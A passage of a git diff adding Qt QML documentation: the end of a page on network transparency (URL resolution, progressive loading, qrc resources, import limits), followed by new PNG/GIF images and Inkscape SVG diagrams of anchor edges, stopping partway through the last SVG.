+\tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png.
+
+If the string assigned to a URL is already an absolute URL, then "resolving" does
+not change it and the URL is assigned directly.
+
+
+\section1 Progressive Loading
+
+Because of the declarative nature of QML and the asynchronous nature of network resources,
+objects which reference network resource generally change state as the network resource loads.
+For example, an Image with a network source will initially have
+a \c width and \c height of 0, a \c status of \c Loading, and a \c progress of 0.0.
+While the content loads, the \c progress will increase until
+the content is fully loaded from the network,
+at which point the \c width and \c height become the content size, the \c status becomes \c Ready, and the \c progress reaches 1.0.
+Applications can bind to these changing states to provide visual progress indicators where appropriate, or simply
+bind to the \c width and \c height as if the content was a local file, adapting as those bound values change.
+
+Note that when objects reference local files they immediately have the \c Ready status, but applications wishing
+to remain network transparent should not rely on this. Future versions of QML may also use asynchronous local file I/O
+to improve performance.
+
+
+\section1 Accessing Network Services
+
+QML types such as XmlListModel, and JavaScript classes like XMLHttpRequest are intended
+entirely for accessing network services, which usually respond with references to
+content by URLs that can then be used directly in QML. For example, using these facilities
+to access an on-line photography service would provide the QML application with URLs to
+photographs, which can be directly set on an \l Image \c source property.
+
+See the \tt demos/declarative/flickr for a real demonstration of this.
+
+
+\section1 Configuring the Network Access Manager
+
+All network access from QML is managed by a QNetworkAccessManager set on the QDeclarativeEngine which executes the QML.
+By default, this is an unmodified Qt QNetworkAccessManager. You may set a different manager by
+providing a QDeclarativeNetworkAccessManagerFactory and setting it via
+QDeclarativeEngine::setNetworkAccessManagerFactory().
+For example, the \l {QML Viewer} sets a QDeclarativeNetworkAccessManagerFactory which
+creates QNetworkAccessManager that trusts HTTP Expiry headers to avoid network cache checks,
+allows HTTP Pipelining, adds a persistent HTTP CookieJar, a simple disk cache, and supports proxy settings.
+
+
+\section1 QRC Resources
+
+One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into
+the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content
+that is compiled into the executable:
+
+\quotefromfile snippets/declarative/qtbinding/resources/main.cpp
+\skipto view
+\printuntil setSource
+
+The content itself can then use relative URLs, and so be transparently unaware that the content is
+compiled into the executable.
+
+
+\section1 Limitations
+
+The \c import statement is only network transparent if it has an "as" clause.
+
+More specifically:
+\list
+\o \c{import "dir"} only works on local file systems
+\o \c{import libraryUri} only works on local file systems
+\o \c{import "dir" as D} works network transparently
+\o \c{import libraryUrl as U} works network transparently
+\endlist
+
+
+*/
diff --git a/doc/src/declarative/pics/3d-axis.png b/doc/src/declarative/pics/3d-axis.png
new file mode 100644
index 00000000..1a587ffd
--- /dev/null
+++ b/doc/src/declarative/pics/3d-axis.png
Binary files differ
diff --git a/doc/src/declarative/pics/3d-rotation-axis.png b/doc/src/declarative/pics/3d-rotation-axis.png
new file mode 100644
index 00000000..b9402156
--- /dev/null
+++ b/doc/src/declarative/pics/3d-rotation-axis.png
Binary files differ
diff --git a/doc/src/declarative/pics/BorderImage.png b/doc/src/declarative/pics/BorderImage.png
new file mode 100644
index 00000000..651dd8aa
--- /dev/null
+++ b/doc/src/declarative/pics/BorderImage.png
Binary files differ
diff --git a/doc/src/declarative/pics/ListViewHighlight.png b/doc/src/declarative/pics/ListViewHighlight.png
new file mode 100644
index 00000000..02bf51da
--- /dev/null
+++ b/doc/src/declarative/pics/ListViewHighlight.png
Binary files differ
diff --git a/doc/src/declarative/pics/ListViewHorizontal.png b/doc/src/declarative/pics/ListViewHorizontal.png
new file mode 100644
index 00000000..4633a0e1
--- /dev/null
+++ b/doc/src/declarative/pics/ListViewHorizontal.png
Binary files differ
diff --git a/doc/src/declarative/pics/ListViewVertical.png b/doc/src/declarative/pics/ListViewVertical.png
new file mode 100644
index 00000000..e0b23d95
--- /dev/null
+++ b/doc/src/declarative/pics/ListViewVertical.png
Binary files differ
diff --git a/doc/src/declarative/pics/anatomy-component.png b/doc/src/declarative/pics/anatomy-component.png
new file mode 100644
index 00000000..6125b009
--- /dev/null
+++ b/doc/src/declarative/pics/anatomy-component.png
Binary files differ
diff --git a/doc/src/declarative/pics/anchorchanges.png b/doc/src/declarative/pics/anchorchanges.png
new file mode 100644
index 00000000..4973e4e9
--- /dev/null
+++ b/doc/src/declarative/pics/anchorchanges.png
Binary files differ
diff --git a/doc/src/declarative/pics/anchors.svg b/doc/src/declarative/pics/anchors.svg
new file mode 100644
index 00000000..08b00ed6
--- /dev/null
+++ b/doc/src/declarative/pics/anchors.svg
@@ -0,0 +1,92 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://web.resource.org/cc/"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="744.09448819"
+ height="1052.3622047"
+ id="svg1910"
+ sodipodi:version="0.32"
+ inkscape:version="0.44.1"
+ inkscape:export-filename="/home/mbrasser/work/Kinetic/ngui/doc/src/pics/anchors_example2.png"
+ inkscape:export-xdpi="189.65207"
+ inkscape:export-ydpi="189.65207"
+ sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics"
+ sodipodi:docname="anchors.svg">
+ <defs
+ id="defs1912" />
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ gridtolerance="10000"
+ guidetolerance="10"
+ objecttolerance="10"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="1.979899"
+ inkscape:cx="431.57095"
+ inkscape:cy="413.38853"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ inkscape:window-width="1386"
+ inkscape:window-height="971"
+ inkscape:window-x="0"
+ inkscape:window-y="0" />
+ <metadata
+ id="metadata1915">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1">
+ <rect
+ style="opacity:1;fill:none;fill-opacity:1;stroke:black;stroke-width:0.52033526;stroke-miterlimit:4;stroke-dasharray:1.04067054, 0.52033527;stroke-dashoffset:0;stroke-opacity:1"
+ id="rect2807"
+ width="36.245155"
+ height="32.204544"
+ x="390.23157"
+ y="574.62024" />
+ <rect
+ style="opacity:1;fill:none;fill-opacity:1;stroke:black;stroke-width:0.44547796;stroke-miterlimit:4;stroke-dasharray:0.89095592, 0.44547796;stroke-dashoffset:0;stroke-opacity:1"
+ id="rect2809"
+ width="59.048447"
+ height="14.601732"
+ x="430.82993"
+ y="574.9483" />
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="399.40982"
+ y="594.76312"
+ id="text3696"><tspan
+ sodipodi:role="line"
+ id="tspan3698"
+ x="399.40982"
+ y="594.76312">pic</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="445.84048"
+ y="586.5423"
+ id="text3700"><tspan
+ sodipodi:role="line"
+ id="tspan3702"
+ x="445.84048"
+ y="586.5423">label</tspan></text>
+ </g>
+</svg>
diff --git a/doc/src/declarative/pics/animatedimageitem.gif b/doc/src/declarative/pics/animatedimageitem.gif
new file mode 100644
index 00000000..85c3cb56
--- /dev/null
+++ b/doc/src/declarative/pics/animatedimageitem.gif
Binary files differ
diff --git a/doc/src/declarative/pics/axisrotation.png b/doc/src/declarative/pics/axisrotation.png
new file mode 100644
index 00000000..4cddcdfc
--- /dev/null
+++ b/doc/src/declarative/pics/axisrotation.png
Binary files differ
diff --git a/doc/src/declarative/pics/blur_example.png b/doc/src/declarative/pics/blur_example.png
new file mode 100644
index 00000000..763b1122
--- /dev/null
+++ b/doc/src/declarative/pics/blur_example.png
Binary files differ
diff --git a/doc/src/declarative/pics/content.png b/doc/src/declarative/pics/content.png
new file mode 100644
index 00000000..47a98ac9
--- /dev/null
+++ b/doc/src/declarative/pics/content.png
Binary files differ
diff --git a/doc/src/declarative/pics/declarative-adv-tutorial1.png b/doc/src/declarative/pics/declarative-adv-tutorial1.png
new file mode 100644
index 00000000..1699ab0e
--- /dev/null
+++ b/doc/src/declarative/pics/declarative-adv-tutorial1.png
Binary files differ
diff --git a/doc/src/declarative/pics/declarative-adv-tutorial2.png b/doc/src/declarative/pics/declarative-adv-tutorial2.png
new file mode 100644
index 00000000..ba27c442
--- /dev/null
+++ b/doc/src/declarative/pics/declarative-adv-tutorial2.png
Binary files differ
diff --git a/doc/src/declarative/pics/declarative-adv-tutorial3.png b/doc/src/declarative/pics/declarative-adv-tutorial3.png
new file mode 100644
index 00000000..d500434d
--- /dev/null
+++ b/doc/src/declarative/pics/declarative-adv-tutorial3.png
Binary files differ
diff --git a/doc/src/declarative/pics/declarative-adv-tutorial4.gif b/doc/src/declarative/pics/declarative-adv-tutorial4.gif
new file mode 100644
index 00000000..827458da
--- /dev/null
+++ b/doc/src/declarative/pics/declarative-adv-tutorial4.gif
Binary files differ
diff --git a/doc/src/declarative/pics/declarative-qmlfocus1.png b/doc/src/declarative/pics/declarative-qmlfocus1.png
new file mode 100644
index 00000000..fd05146d
--- /dev/null
+++ b/doc/src/declarative/pics/declarative-qmlfocus1.png
Binary files differ
diff --git a/doc/src/declarative/pics/declarative-qmlfocus2.png b/doc/src/declarative/pics/declarative-qmlfocus2.png
new file mode 100644
index 00000000..a946e2c4
--- /dev/null
+++ b/doc/src/declarative/pics/declarative-qmlfocus2.png
Binary files differ
diff --git a/doc/src/declarative/pics/declarative-qmlfocus3.png b/doc/src/declarative/pics/declarative-qmlfocus3.png
new file mode 100644
index 00000000..ba55f760
--- /dev/null
+++ b/doc/src/declarative/pics/declarative-qmlfocus3.png
Binary files differ
diff --git a/doc/src/declarative/pics/declarative-qmlfocus4.png b/doc/src/declarative/pics/declarative-qmlfocus4.png
new file mode 100644
index 00000000..e21f2a6a
--- /dev/null
+++ b/doc/src/declarative/pics/declarative-qmlfocus4.png
Binary files differ
diff --git a/doc/src/declarative/pics/dial-example.gif b/doc/src/declarative/pics/dial-example.gif
new file mode 100644
index 00000000..4e90ba91
--- /dev/null
+++ b/doc/src/declarative/pics/dial-example.gif
Binary files differ
diff --git a/doc/src/declarative/pics/edge1.png b/doc/src/declarative/pics/edge1.png
new file mode 100644
index 00000000..f4bc16d0
--- /dev/null
+++ b/doc/src/declarative/pics/edge1.png
Binary files differ
diff --git a/doc/src/declarative/pics/edge2.png b/doc/src/declarative/pics/edge2.png
new file mode 100644
index 00000000..71bda8eb
--- /dev/null
+++ b/doc/src/declarative/pics/edge2.png
Binary files differ
diff --git a/doc/src/declarative/pics/edge3.png b/doc/src/declarative/pics/edge3.png
new file mode 100644
index 00000000..51bb894c
--- /dev/null
+++ b/doc/src/declarative/pics/edge3.png
Binary files differ
diff --git a/doc/src/declarative/pics/edge4.png b/doc/src/declarative/pics/edge4.png
new file mode 100644
index 00000000..aee3bd10
--- /dev/null
+++ b/doc/src/declarative/pics/edge4.png
Binary files differ
diff --git a/doc/src/declarative/pics/edges.png b/doc/src/declarative/pics/edges.png
new file mode 100644
index 00000000..211b1019
--- /dev/null
+++ b/doc/src/declarative/pics/edges.png
Binary files differ
diff --git a/doc/src/declarative/pics/edges.svg b/doc/src/declarative/pics/edges.svg
new file mode 100644
index 00000000..25698ca4
--- /dev/null
+++ b/doc/src/declarative/pics/edges.svg
@@ -0,0 +1,185 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://web.resource.org/cc/"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="744.09448819"
+ height="1052.3622047"
+ id="svg2"
+ sodipodi:version="0.32"
+ inkscape:version="0.44.1"
+ sodipodi:docbase="/home/mbrasser"
+ sodipodi:docname="edges.svg">
+ <defs
+ id="defs4">
+ <marker
+ inkscape:stockid="Arrow1Mstart"
+ orient="auto"
+ refY="0.0"
+ refX="0.0"
+ id="Arrow1Mstart"
+ style="overflow:visible">
+ <path
+ id="path3850"
+ d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
+ style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
+ transform="scale(0.4) translate(10,0)" />
+ </marker>
+ <marker
+ inkscape:stockid="Arrow1Lstart"
+ orient="auto"
+ refY="0.0"
+ refX="0.0"
+ id="Arrow1Lstart"
+ style="overflow:visible">
+ <path
+ id="path3856"
+ d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
+ style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
+ transform="scale(0.8) translate(12.5,0)" />
+ </marker>
+ </defs>
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ gridtolerance="10000"
+ guidetolerance="10"
+ objecttolerance="10"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="2.8583315"
+ inkscape:cx="372.04724"
+ inkscape:cy="596.15198"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ inkscape:window-width="1279"
+ inkscape:window-height="969"
+ inkscape:window-x="0"
+ inkscape:window-y="0" />
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1">
+ <rect
+ style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:black;stroke-width:0.04639034;stroke-miterlimit:4;stroke-dasharray:0.09278069, 0.04639034;stroke-dashoffset:0;stroke-opacity:1"
+ id="rect1872"
+ width="33.656742"
+ height="39.808346"
+ x="208.86543"
+ y="390.22763"
+ rx="5"
+ ry="5" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 225.51888,380.99149 C 225.51888,439.06733 225.86873,439.06733 225.86873,439.06733"
+ id="path2760" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 242.97392,380.99149 C 242.97392,439.06733 243.32377,439.06733 243.32377,439.06733"
+ id="path3647" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 208.33832,380.99149 C 208.33832,439.06733 208.68817,439.06733 208.68817,439.06733"
+ id="path3649" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 195.91848,409.67956 C 256.44329,409.67956 256.09344,409.67956 256.09344,409.67956"
+ id="path3651" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 195.91848,429.97112 C 256.44329,429.97112 256.09344,429.97112 256.09344,429.97112"
+ id="path3653" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 195.91848,390.78742 C 256.44329,390.78742 256.09344,390.78742 256.09344,390.78742"
+ id="path3655" />
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="258.54242"
+ y="393.58627"
+ id="text3657"><tspan
+ sodipodi:role="line"
+ id="tspan3659"
+ x="258.54242"
+ y="393.58627"
+ style="font-size:10px">Top</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="258.78955"
+ y="412.28455"
+ id="text3661"><tspan
+ sodipodi:role="line"
+ id="tspan3663"
+ x="258.78955"
+ y="412.28455"
+ style="font-size:10px">VerticalCenter</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="260.18896"
+ y="433.27582"
+ id="text3665"><tspan
+ sodipodi:role="line"
+ id="tspan3667"
+ x="260.18896"
+ y="433.27582"
+ style="font-size:10px">Bottom</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="198.96443"
+ y="376.24954"
+ id="text3669"><tspan
+ sodipodi:role="line"
+ id="tspan3671"
+ x="198.96443"
+ y="376.24954"
+ style="font-size:10px">Left</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="230.55408"
+ y="375.39383"
+ id="text3673"><tspan
+ sodipodi:role="line"
+ id="tspan3675"
+ x="230.55408"
+ y="375.39383"
+ style="font-size:10px">Right</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="186.71951"
+ y="355.25827"
+ id="text3677"><tspan
+ sodipodi:role="line"
+ id="tspan3679"
+ x="186.71951"
+ y="355.25827"
+ style="font-size:10px">HorizontalCenter</tspan></text>
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;marker-start:url(#Arrow1Mstart)"
+ d="M 224.2567,375.39382 C 227.40539,356.85154 227.75525,357.20139 227.75525,357.20139"
+ id="path3681" />
+ </g>
+</svg>
diff --git a/doc/src/declarative/pics/edges_examples.svg b/doc/src/declarative/pics/edges_examples.svg
new file mode 100644
index 00000000..31e9901f
--- /dev/null
+++ b/doc/src/declarative/pics/edges_examples.svg
@@ -0,0 +1,109 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://web.resource.org/cc/"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="744.09448819"
+ height="1052.3622047"
+ id="svg3885"
+ sodipodi:version="0.32"
+ inkscape:version="0.44.1"
+ inkscape:export-filename="/home/mbrasser/edge4.png"
+ inkscape:export-xdpi="189.65207"
+ inkscape:export-ydpi="189.65207"
+ sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics"
+ sodipodi:docname="edges_examples.svg">
+ <defs
+ id="defs3887" />
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ gridtolerance="10000"
+ guidetolerance="10"
+ objecttolerance="10"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="2"
+ inkscape:cx="162.62912"
+ inkscape:cy="591.92069"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ inkscape:window-width="928"
+ inkscape:window-height="624"
+ inkscape:window-x="0"
+ inkscape:window-y="495" />
+ <metadata
+ id="metadata3890">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1">
+ <rect
+ style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:none;stroke-width:1;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1"
+ id="rect3893"
+ width="50"
+ height="50"
+ x="100"
+ y="414.36218" />
+ <rect
+ style="opacity:1;fill:#fa0c2a;fill-opacity:1;stroke:none;stroke-width:1;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1"
+ id="rect3895"
+ width="104"
+ height="50"
+ x="150"
+ y="414.36218" />
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="109"
+ y="443.65125"
+ id="text3897"><tspan
+ sodipodi:role="line"
+ id="tspan3899"
+ x="109"
+ y="443.65125">rect1</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="186.54297"
+ y="443.65125"
+ id="text3901"><tspan
+ sodipodi:role="line"
+ id="tspan3903"
+ x="186.54297"
+ y="443.65125">rect2</tspan></text>
+ <rect
+ style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:none;stroke-width:1;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1"
+ id="rect3905"
+ width="50"
+ height="50"
+ x="254"
+ y="414.36218" />
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="263"
+ y="443.65125"
+ id="text3907"><tspan
+ sodipodi:role="line"
+ id="tspan3909"
+ x="263"
+ y="443.65125">rect3</tspan></text>
+ </g>
+</svg>
diff --git a/doc/src/declarative/pics/edges_qml.png b/doc/src/declarative/pics/edges_qml.png
new file mode 100644
index 00000000..73f22f92
--- /dev/null
+++ b/doc/src/declarative/pics/edges_qml.png
Binary files differ
diff --git a/doc/src/declarative/pics/edges_qml.svg b/doc/src/declarative/pics/edges_qml.svg
new file mode 100644
index 00000000..1814ec6b
--- /dev/null
+++ b/doc/src/declarative/pics/edges_qml.svg
@@ -0,0 +1,188 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://web.resource.org/cc/"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="744.09448819"
+ height="1052.3622047"
+ id="svg2"
+ sodipodi:version="0.32"
+ inkscape:version="0.44.1"
+ sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics"
+ sodipodi:docname="edges_qml.svg"
+ inkscape:export-filename="/home/mbrasser/edges_qml.png"
+ inkscape:export-xdpi="284.45999"
+ inkscape:export-ydpi="284.45999">
+ <defs
+ id="defs4">
+ <marker
+ inkscape:stockid="Arrow1Mstart"
+ orient="auto"
+ refY="0.0"
+ refX="0.0"
+ id="Arrow1Mstart"
+ style="overflow:visible">
+ <path
+ id="path3850"
+ d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
+ style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
+ transform="scale(0.4) translate(10,0)" />
+ </marker>
+ <marker
+ inkscape:stockid="Arrow1Lstart"
+ orient="auto"
+ refY="0.0"
+ refX="0.0"
+ id="Arrow1Lstart"
+ style="overflow:visible">
+ <path
+ id="path3856"
+ d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
+ style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
+ transform="scale(0.8) translate(12.5,0)" />
+ </marker>
+ </defs>
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ gridtolerance="10000"
+ guidetolerance="10"
+ objecttolerance="10"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="2.8583315"
+ inkscape:cx="372.04724"
+ inkscape:cy="596.15198"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ inkscape:window-width="1279"
+ inkscape:window-height="969"
+ inkscape:window-x="0"
+ inkscape:window-y="0" />
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1">
+ <rect
+ style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:black;stroke-width:0.04639034;stroke-miterlimit:4;stroke-dasharray:0.09278069, 0.04639034;stroke-dashoffset:0;stroke-opacity:1"
+ id="rect1872"
+ width="33.656742"
+ height="39.808346"
+ x="208.86543"
+ y="390.22763"
+ rx="5"
+ ry="5" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 225.51888,380.99149 C 225.51888,439.06733 225.86873,439.06733 225.86873,439.06733"
+ id="path2760" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 242.97392,380.99149 C 242.97392,439.06733 243.32377,439.06733 243.32377,439.06733"
+ id="path3647" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 208.33832,380.99149 C 208.33832,439.06733 208.68817,439.06733 208.68817,439.06733"
+ id="path3649" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 195.91848,409.67956 C 256.44329,409.67956 256.09344,409.67956 256.09344,409.67956"
+ id="path3651" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
